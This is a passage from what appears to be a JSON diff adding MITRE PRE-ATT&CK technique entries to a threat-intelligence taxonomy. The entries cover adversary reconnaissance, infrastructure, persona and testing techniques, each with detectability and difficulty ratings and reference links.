"PRE-T1147", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:launch" + ] + }, + "uuid": "2ec57bf1-fcc3-4c19-9516-79b7fde483af" + }, + { + "description": "Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly used technique currently (e.g., [https://www.wordpress.com WordPress] sites) as precursor activity to launching attack against intended target (e.g., acquiring botnet or layers of proxies for reducing attribution possibilities).", + "value": "Compromise 3rd party infrastructure to support delivery - PRE-T1089", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1089" + ], + "external_id": "PRE-T1089", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:adversary-opsec" + ] + }, + "uuid": "4900fabf-1142-4c1f-92f5-0b590e049077" + }, + { + "description": "Email addresses, logon credentials, and other forms of online identification typically share a common format. This makes guessing other credentials within the same domain easier. For example if a known email address is first.last@company.com it is likely that others in the company will have an email in the same format. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Easily determined and not intended to be protected information. Publicly collected and shared repositories of email addresses exist.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Scraping of known email addresses from the target will likely reveal the target standard for address/username format. This information is easily discoverable.", + "value": "Discover target logon/email address format - PRE-T1032", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1032" + ], + "external_id": "PRE-T1032", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:technical-information-gathering" + ] + }, + "uuid": "ef0f816a-d561-4953-84c6-2a2936c96957" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nThe use of software, data, or commands to take advantage of a weakness in a computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. (Citation: GoogleCrawlerSQLInj)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: If the application and network are designed well, the defender should be able to utilize logging and application logic to catch and deflect SQL injection attacks.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Launching a SQL injection attack is not overly complex and a commonly used technique. This technique, however, requires finding a vulnerable application.", + "value": "Exploit public-facing application - PRE-T1154", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1154" + ], + "external_id": "PRE-T1154", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:launch" + ] + }, + "uuid": "8a64f743-acaa-49d5-9d3d-ae5616a3876f" + }, + { + "description": "Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) may be further subdivided to focus on political, economic, diplomatic, military, financial, or intellectual property categories. An adversary may specify KITs or KIQs in this manner in order to understand how the information they are pursuing can have multiple uses and to consider all aspects of the types of information they need to target for a particular purpose. (Citation: CompetitiveIntelligence) (Citation: CompetitiveIntelligence)KIT.\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "value": "Assess KITs/KIQs benefits - PRE-T1006", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1006" + ], + "external_id": "PRE-T1006", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:priority-definition-planning" + ] + }, + "uuid": "ae85ba2f-27ea-42d9-b42a-0fe89ee19ed5" + }, + { + "description": "Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: DellComfooMasters)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: While possible to detect given a significant sample size, depending on how the unique identifier is used detection may be difficult as similar patterns may be employed elsewhere (e.g., content hosting providers, account reset URLs).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: An adversary can easily generate pseudo-random identifiers to associate with a specific target, include the indicator as part of a URL and then identify which target was successful.", + "value": "Obfuscate operational infrastructure - PRE-T1095", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1095" + ], + "external_id": "PRE-T1095", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:adversary-opsec" + ] + }, + "uuid": "9d234df0-2344-4db4-bc0f-8de9c6c071a7" + }, + { + "description": "Malware may perform differently on different platforms (computer vs handheld) and different operating systems ([http://www.ubuntu.com Ubuntu] vs [http://www.apple.com/osx/ OS X]), and versions ([http://windows.microsoft.com Windows] 7 vs 10) so malicious actors will test their malware in the environment(s) where they most expect it to be executed. (Citation: BypassMalwareDefense)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary controls the test and defender likely has no visibility.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary can simulate most environments (e.g., variable operating systems, patch levels, application versions) with details available from other techniques.", + "value": "Test malware in various execution environments - PRE-T1134", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1134" + ], + "external_id": "PRE-T1134", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:test-capabilities" + ] + }, + "uuid": "e042a41b-5ecf-4f3a-8f1f-1b528c534772" + }, + { + "description": "Determining if a \"corporate\" help desk exists, the degree of access and control it has, and whether there are \"edge\" units that may have different support processes and standards. (Citation: SANSCentratlizeManagement)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No technical means to detect an adversary collecting information about a target. Any detection would be based upon strong OPSEC policy implementation.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Requires an adversary to undergo a research process to learn the internal workings of an organization. An adversary can do this by social engineering individuals in the company by claiming to need to find information for the help desk, or through social engineering of former employees or business partners.", + "value": "Determine centralization of IT management - PRE-T1062", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1062" + ], + "external_id": "PRE-T1062", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:organizational-information-gathering" + ] + }, + "uuid": "a7dff5d5-99f9-4a7e-ac54-a64113c28121" + }, + { + "description": "An adversary can test physical access options in preparation for the actual attack. This could range from observing behaviors and noting security precautions to actually attempting access. (Citation: OCIAC Pre Incident Indicators) (Citation: NewsAgencySpy)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defender often install badging, cameras, security guards or other detection techniques for physical security and monitoring.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires a physical presence in the space being entered and increased risk of being detected/detained (e.g., recorded on video camera)", + "value": "Test physical access - PRE-T1137", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1137" + ], + "external_id": "PRE-T1137", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:test-capabilities" + ] + }, + "uuid": "18bfa01c-9fa9-409f-91f5-4a2822609d81" + }, + { + "description": "Code signing is the process of digitally signing executables or scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an signed piece of code even if they don't know who issued the certificate or who the author is. (Citation: Adobe Code Signing Cert)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not know what certificates an adversary acquires from a 3rd party. Defender will not know prior to public disclosure if a 3rd party has had their certificate compromised.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: It is trivial to purchase code signing certificates within an organization; many exist and are available at reasonable cost. It is complex to factor or steal 3rd party code signing certificates for use in malicious mechanisms", + "value": "Acquire or compromise 3rd party signing certificates - PRE-T1087", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1087" + ], + "external_id": "PRE-T1087", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:adversary-opsec" + ] + }, + "uuid": "e5164428-03ca-4336-a9a7-4d9ea1417e59" + }, + { + "description": "Leadership assesses the areas of most interest to them and generates Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ). For example, an adversary knows from open and closed source reporting that cyber is of interest, resulting in it being a KIT. (Citation: ODNIIntegration)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "value": "Assess leadership areas of interest - PRE-T1001", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1001" + ], + "external_id": "PRE-T1001", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:priority-definition-planning" + ] + }, + "uuid": "d3999268-740f-467e-a075-c82e2d04be62" + }, + { + "description": "Client configurations information such as the operating system and web browser, along with additional information such as version or language, are often transmitted as part of web browsing communications. This can be accomplished in several ways including use of a compromised web site to collect details on visiting computers. (Citation: UnseenWorldOfCookies) (Citation: Panopticlick)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Typical information collected as part of accessing web sites (e.g., operating system, browser version, basic configurations).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Basic web scripting capability to collect information of interest on users of interest. Requires a compromised web site and the users of interest to navigate there.", + "value": "Enumerate client configurations - PRE-T1039", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1039" + ], + "external_id": "PRE-T1039", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:technical-information-gathering" + ] + }, + "uuid": "78ae433b-289d-4c8d-b8c1-f8de0b7f9090" + }, + { + "description": "Every domain registrar maintains a publicly viewable database that displays contact information for every registered domain. Private 'whois' services display alternative information, such as their own company data, rather than the owner of the domain. (Citation: APT1)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Algorithmically possible to detect COTS service usage or use of non-specific mailing addresses (PO Boxes, drop sites, etc.)\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commercially available or easy to set up and/or register using a disposable email account.", + "value": "Private whois services - PRE-T1082", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1082" + ], + "external_id": "PRE-T1082", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:adversary-opsec" + ] + }, + "uuid": "3160347f-11ac-44a3-9640-a648b3c17a8f" + }, + { + "description": "Once generated, Key Intelligence Topics (KITs), Key Intelligence Questions (KIQs), and/or intelligence requirements are assigned to applicable agencies and/or personnel. For example, an adversary may decide nuclear energy requirements should be assigned to a specific organization based on their mission. (Citation: AnalystsAndPolicymaking) (Citation: JP2-01)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "value": "Assign KITs, KIQs, and/or intelligence requirements - PRE-T1015", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1015" + ], + "external_id": "PRE-T1015", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:priority-definition-direction" + ] + }, + "uuid": "4fad17d3-8f42-449d-ac4b-dbb4c486127d" + }, + { + "description": "Personnel internally to a company may belong to a group or maintain a role with electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is a system administrator. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires an adversary to undergo an intensive research process. It is resource intensive or requires special data access. May be easier for certain specialty use cases.", + "value": "Identify groups/roles - PRE-T1047", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1047" + ], + "external_id": "PRE-T1047", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:people-information-gathering" + ] + }, + "uuid": "89a79d91-53e0-4ef5-ba28-558cb8b01f76" + }, + { + "description": "After compromise, an adversary may utilize additional tools to facilitate their end goals. This may include tools to further explore the system, move laterally within a network, exfiltrate data, or destroy data. (Citation: SofacyHits)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Post compromise tool development is a standard part of the adversary's protocol in developing the necessary tools required to completely conduct an attack.", + "value": "Post compromise tool development - PRE-T1130", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1130" + ], + "external_id": "PRE-T1130", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:build-capabilities" + ] + }, + "uuid": "df42286d-dfbd-4455-bc9d-aef52ac29aa7" + }, + { + "description": "There is usually a delay between when a vulnerability or exploit is discovered and when it is made public. An adversary may target the systems of those known to research vulnerabilities in order to gain that knowledge for use during a different attack. (Citation: TempertonDarkHotel)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: The compromise of unknown vulnerabilities would provide little attack and warning against a defender, rendering it highly challenging to detect.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Finding, attacking, and compromising a 3rd party or closed vulnerability entity is challenging, because those containing the vulnerabilities should be very aware of attacks on their environments have a heightened awareness.", + "value": "Compromise 3rd party or closed-source vulnerability/exploit information - PRE-T1131", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1131" + ], + "external_id": "PRE-T1131", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:build-capabilities" + ] + }, + "uuid": "5a68c603-d7f9-4535-927e-ab56819eaa85" + }, + { + "description": "Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line, such as from search engines, as well as in the physical world. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This activity is indistinguishable from legitimate business uses and easy to obtain. Direct access to the selected target is not required for the adversary to conduct this technique. There is a limited ability to detect this by looking at referrer fields on local web site accesses (e.g., a person who has accessed your web servers from [https://www.shodan.io Shodan]).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Possible to gather technical intelligence about Internet accessible systems/devices by obtaining various commercial data sets and supporting business intelligence tools for ease of analysis. Commercial data set examples include advertising content delivery networks, Internet mapping/traffic collections, system fingerprinting data sets, device fingerprinting data sets, etc.", + "value": "Acquire OSINT data sets and information - PRE-T1024", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1024" + ], + "external_id": "PRE-T1024", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:technical-information-gathering" + ] + }, + "uuid": "784ff1bc-1483-41fe-a172-4cd9ae25c06b" + }, + { + "description": "A wide variety of 3rd party software services are available (e.g., [https://twitter.com Twitter], [https://www.dropbox.com Dropbox], [https://www.google.com/docs/about/ GoogleDocs]). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012) (Citation: Nemucod Facebook)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not have visibility over account creation for 3rd party software services.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: 3rd party services like these listed are freely available.", + "value": "Acquire and/or use 3rd party software services - PRE-T1085", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1085" + ], + "external_id": "PRE-T1085", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:adversary-opsec" + ] + }, + "uuid": "1a295f87-af63-4d94-b130-039d6221fb11" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nUpon successful compromise the adversary may implement methods for confirming success including communication to a command and control server, exfiltration of data, or a verifiable intended effect such as a publicly accessible resource being inaccessible or a web page being defaced. (Citation: FireEye Malware Stages) (Citation: APTNetworkTrafficAnalysis)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Current commercial tools and sensitive analytics can be used to detect communications to command and control servers or data exfiltration.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Certainty of the confirmation of compromise is not guaranteed unless the adversary sees communication to a command and control server, exfiltration of data, or an intended effect occur.", + "value": "Confirmation of launched compromise achieved - PRE-T1160", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1160" + ], + "external_id": "PRE-T1160", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:compromise" + ] + }, + "uuid": "f4c5d1d9-8f0e-46f1-a9fa-f9a440926046" + }, + { + "description": "Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on people within the organization which could be valuable in social engineering attempts. (Citation: JobPostingThreat)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public source external to the defender's organization.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Very public by design.", + "value": "Identify job postings and needs/gaps - PRE-T1044", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1044" + ], + "external_id": "PRE-T1044", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:people-information-gathering" + ] + }, + "uuid": "0722cd65-0c83-4c89-9502-539198467ab1" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nSocial Engineering is the practice of manipulating people in order to get them to divulge information or take an action. Human Intelligence (HUMINT) is intelligence collected and provided by human sources. (Citation: 17millionScam) (Citation: UbiquityEmailScam)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Assuming an average company does not train its employees to be aware of social engineering techniques, it is not possible to detect the adversary's use unless a highly motivated or paranoid employee informs security. This assessment flips to a 1 in cases of environments where security trains employees to be vigilant or in specialized industries where competitive intelligence and business intelligence train employees to be highly aware. Most likely more complex for an adversary to detect as methods move to physical or non traditionally monitored mechanisms (such as phone calls outside of call centers). Furthermore, the content of such an interaction may be lost due to lack of collection.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Assuming an average adversary whose focus is social engineering, it is not difficult for an adversary. Assuming a HUMINT operation and specialized circumstances, the adversary difficulty becomes 1. Social engineering can be easily done remotely via email or phone. In contrast, HUMINT operations typically would require physical contact at some point in the process, increasing the difficulty.", + "value": "Conduct social engineering or HUMINT operation - PRE-T1153", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1153" + ], + "external_id": "PRE-T1153", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:launch" + ] + }, + "uuid": "b79a1960-d0be-4b51-bb62-b27e91e1dea0" + }, + { + "description": "A wide variety of 3rd party software services are available (e.g., [https://twitter.com Twitter], [https://www.dropbox.com Dropbox], [https://www.google.com/docs/about/ GoogleDocs]). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LOWBALL2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not have visibility over account creation for 3rd party software services.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: 3rd party services like these listed are freely available.", + "value": "Acquire and/or use 3rd party software services - PRE-T1107", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1107" + ], + "external_id": "PRE-T1107", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:establish-&-maintain-infrastructure" + ] + }, + "uuid": "488da8ed-2887-4ef6-a39a-5b69bc6682c6" + }, + { + "description": "An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: OSFingerprinting2014)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Analyze network traffic to determine security filtering policies, packets dropped, etc.", + "value": "Analyze hardware/software security defensive capabilities - PRE-T1071", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1071" + ], + "external_id": "PRE-T1071", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:technical-weakness-identification" + ] + }, + "uuid": "a1e8d61b-22e1-4983-8485-96420152ecd8" + }, + { + "description": "Dynamic DNS is a automated method to rapidly update the domain name system mapping of hostnames to IPs. (Citation: FireEyeSupplyChain)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not know at first use what is valid or hostile traffic without more context.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: It is relatively easy to subscribe to dynamic DNS providers or find ways to get different IP addresses from a cloud provider.", + "value": "Dynamic DNS - PRE-T1110", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1110" + ], + "external_id": "PRE-T1110", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:establish-&-maintain-infrastructure" + ] + }, + "uuid": "54eb2bab-125f-4d1c-b999-0c692860bafe" + }, + { + "description": "An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may need to discover new exploits when existing exploits are no longer relevant to the environment they are trying to compromise. An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. (Citation: EquationQA)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public source external to the defender's organization.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Many public sources exist for this information.", + "value": "Discover new exploits and monitor exploit-provider forums - PRE-T1127", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1127" + ], + "external_id": "PRE-T1127", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:build-capabilities" + ] + }, + "uuid": "82bbd209-f516-45e0-9542-4ffbbc2a8717" + }, + { + "description": "For attacks incorporating social engineering the utilization of an on-line persona is important. Utilizing an existing persona with compromised accounts may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. (Citation: AnonHBGary) (Citation: Hacked Social Media Accounts)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Possible to detect compromised credentials if alerting from a service provider is enabled and acted upon by the individual.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: It is relatively easy and low cost to purchase compromised credentials. Mining social media sites offers open source information about a particular target. Most users tend to reuse passwords across sites and are not paranoid enough to check and see if spoofed sites from their persona exist across current social media.", + "value": "Choose pre-compromised persona and affiliated accounts - PRE-T1120", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1120" + ], + "external_id": "PRE-T1120", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:persona-development" + ] + }, + "uuid": "9a8c47f6-ae69-4044-917d-4b1602af64d9" + }, + { + "description": "Open source intelligence (OSINT) provides free, readily available information about a target while providing the target no indication they are of interest. Such information can assist an adversary in crafting a successful approach for compromise. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This activity is indistinguishable from legitimate business uses and easy to obtain.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Possible to gather digital intelligence about a person is easily aided by social networking sites, free/for fee people search engines, and publicly available information (e.g., county databases on tickets/DUIs).", + "value": "Acquire OSINT data sets and information - PRE-T1043", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1043" + ], + "external_id": "PRE-T1043", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:people-information-gathering" + ] + }, + "uuid": "2b9a666e-bd59-4f67-9031-ed41b428e04a" + }, + { + "description": "The attempt to identify people of interest or with an inherent weakness for direct or indirect targeting to determine an approach to compromise a person or organization. Such targets may include individuals with poor OPSEC practices or those who have a trusted relationship with the intended target. (Citation: RSA-APTRecon) (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Common defenses protecting against poor OPSEC practices are traditionally more policy-based in nature rather than technical. Policy-based mitigations are generally more difficult to enforce and track violations, making it more difficult that this technique can be detected by common defenses.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Specialty cases enable an adversary to use key words in order to search social media and identify personnel with poor OPSEC practices who may have access to specialized information which would make them a target of interest. In addition, the open nature of social media leads to a tendency among individuals to overshare, encouraging poor OPSEC and increasing the ease by which an adversary can identify interesting targets.", + "value": "Identify people of interest - PRE-T1046", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1046" + ], + "external_id": "PRE-T1046", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:people-information-gathering" + ] + }, + "uuid": "0c0f075b-5d69-43f2-90df-d9ad18f44624" + }, + { + "description": "Network trusts enable communications between different networks with specific accesses and permissions. Network trusts could include the implementation of domain trusts or the use of virtual private networks (VPNs). (Citation: CuckoosEgg) (Citation: CuckoosEgg)Wikipedia (Citation: KGBComputerMe)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This is not easily performed remotely and therefore not a detectable event. If the adversary can sniff traffic to deduce trust relations, this is a passive activity and not detectable.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Determining trust relationships once internal to a network is trivial. Simple tools like trace route can show evidence of firewalls or VPNs and then hosts on the either side of the firewall indicating a different trusted network. Active Directory command line tools can also identify separate trusted networks.\n\nIf completely external to a network, sniffing traffic (if possible) could also reveal the communications protocols that could be guessed to be a trusted network connection (e.g., IPsec, maybe SSL, etc.) though this is error-prone. \n\nWith no other access, this is hard for an adversary to do completely from a remote vantage point.", + "value": "Determine external network trust dependencies - PRE-T1036", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1036" + ], + "external_id": "PRE-T1036", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:technical-information-gathering" + ] + }, + "uuid": "a2fc93cd-e371-4755-9305-2615b6753d91" + }, + { + "description": "An adversary undergoes an iterative target selection process that may begin either broadly and narrow down into specifics (strategic to tactical) or narrowly and expand outward (tactical to strategic). As part of this process, an adversary may determine a high level target they wish to attack. One example of this may be a particular country, government, or commercial sector. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.", + "value": "Determine strategic target - PRE-T1018", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1018" + ], + "external_id": "PRE-T1018", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:target-selection" + ] + }, + "uuid": "91a3735f-817a-4450-8ed4-f05a0f5c3877" + }, + { + "description": "Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Job postings and hiring requisitions have to be made public for contractors and many times have the name of the organization being supported. In addition, they outline the skills needed to do a particular job, which can provide insight into the technical structure and organization of a target.", + "value": "Analyze organizational skillsets and deficiencies - PRE-T1066", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1066" + ], + "external_id": "PRE-T1066", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:technical-weakness-identification" + ] + }, + "uuid": "092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc" + }, + { + "description": "If going from strategic down to tactical or vice versa, an adversary would next consider the operational element. For example, the specific company within an industry or agency within a government. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.", + "value": "Determine operational element - PRE-T1019", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1019" + ], + "external_id": "PRE-T1019", + "kill_chain": [ + "mitre-pre-attack:enterprise-attack:target-selection" + ] + }, + "uuid": "c860af4a-376e-46d7-afbf-262c41012227" + }, + { + "description": "An adversary can test their planned method of attack against existing security products such as email filters or intrusion detection sensors (IDS). (Citation: WiredVirusTotal)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Use of sites like [https://www.virustotal.com VirusTotal] to test signature detection often occurs to test detection. Defender can also look for newly added uploads as a precursor to an adversary's launch of an attack.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Current open source technologies and websites exist to facilitate adversary testing of malware against signatures.", + "value": "Test signature detection for file upload/email filters - PRE-T1138", + "meta": { + "refs": [ + "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1138" + ], + "external_id": "PRE-T1138", + "kill_chain": [ + 